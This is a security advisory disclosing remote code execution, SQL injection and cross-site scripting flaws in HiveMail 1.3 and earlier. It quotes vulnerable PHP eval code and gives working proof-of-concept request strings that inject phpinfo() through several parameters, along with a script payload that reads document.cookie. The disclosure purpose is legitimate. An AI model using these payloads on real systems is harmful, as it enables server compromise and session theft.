HiveMail Multiple Vulnerabilities
Vendor: HiveMail
Product: HiveMail
Version: <= 1.3
Website: http://www.hivemail.com/
BID: 16591
CVE: CVE-2006-0757 CVE-2006-0758 CVE-2006-0759
OSVDB: 23141 23142 23143 23144 23145 23146 23147 23148 23149 23150 23151
SECUNIA: 18807
PACKETSTORM: 43747
Description:
HiveMail is a powerful web-based email program that allows you to offer personal email accounts to your visitors. This makes HiveMail a popular choice for business and individuals alike. Unfortunately there are a number of remote code execution vulnerabilities in HiveMail due to unsafe eval calls that may allow an attacker to compromise the underlying web server. In addition there are also vulnerabilities that allow an attacker to perform SQL Injection and Cross Site Scripting attacks.


Remote Code Execution:
There are a substantial number of Remote Code Execution issues in HiveMail that allow for an attacker to easily execute php code on the target server. Lets have a look at the file named addressbook.update.php @ lines 273-300
if ($_POST['cmd'] == 'remove') {
	if ($contactgroupid == 0) {
		eval(makeerror('error_addbookcannotremove'));
	}
	if (!is_array($contactcheck)) {
		invalid('contacts');
	}
	$groupcontents = $DB_site->query_first("
		SELECT contacts
		FROM hive_contactgroup
		WHERE contactgroupid = $contactgroupid
		AND userid = $hiveuser[userid]
	");
	$groupcontent = explode(',', $groupcontents['contacts']);
	foreach ($contactcheck as $bookid => $doit) {
		if ($doit == 'yes') {
			$key = array_search($bookid, $groupcontent);
			array_splice($groupcontent, $key, 1);
		}
	}
	$DB_site->query("
		UPDATE hive_contactgroup
		SET contacts = '".addslashes(implode(',', $groupcontent))."'
		WHERE contactgroupid = $contactgroupid
		AND userid = $hiveuser[userid]
	");
	eval(makeredirect("redirect_addbook_removeentries", "addressbook.view.php
?contactgroupid=$contactgroupid"));
}


In the above code the variable $contactgroupid is taken from user supplied data. There are a few obstacles to bypass in order for there to be Code Execution, but it is nothing too complicated.

http:///hivemail/addressbook.update.php

cmd=remove&contactgroupid=1%20--%20");phpinfo();@ob_start("&submit=1&contactcheck[]=1&con
tactcheck[]=2


The above command would successfully set $contactgroupid to a value grater than zero, not cause an SQL Error, and eventually get executed @ line 299. It should be noted though that even if code execution isn't possible then SQL Injection within the same variable $contactgroupid is. This same type of issues takes place in a number of locations within HiveMail.

http://hivemail/addressbook.add.php?cmd=quick&messageid=1");phpin
fo();@ob_start("&popid=1&msgid=1

http://hivemail/folders.update.php?cmd=mark&folderid=0%20--%20%22)
;phpinfo();@ob_start(%22

The files calendar.event.php, index.php, pop.download.php, read.bounce.php, rules.block.php, language.php and possibly others contain vulnerable code very similar to that which I pointed out earlier.


Cross Site Scripting & SQL Injection:
Hivemail is vulnerable to cross site scripting because it makes use of unsanitized $_SERVER['PHP_SELF'] references.

http://hivemail/index.php/%22%3E%3Cscript%3Ealert(document.cookie);%3C/script%3E

Once logged in a malicious attacker could replace the code above with the variable folderid containing a malicious SQL statement and have it executed.


Solution:
The vendor was unresponsive to my contact attempts, and according to some of the people on the HiveMail forums the project has been fairly dormant as of late.

http://forum.hivemail.com/showthread.php?p=26745

Until an updated version of HiveMail is released users are very strongly advised to not use this vulnerable application.


Credits:
James Bercegay of the GulfTech Security Research Team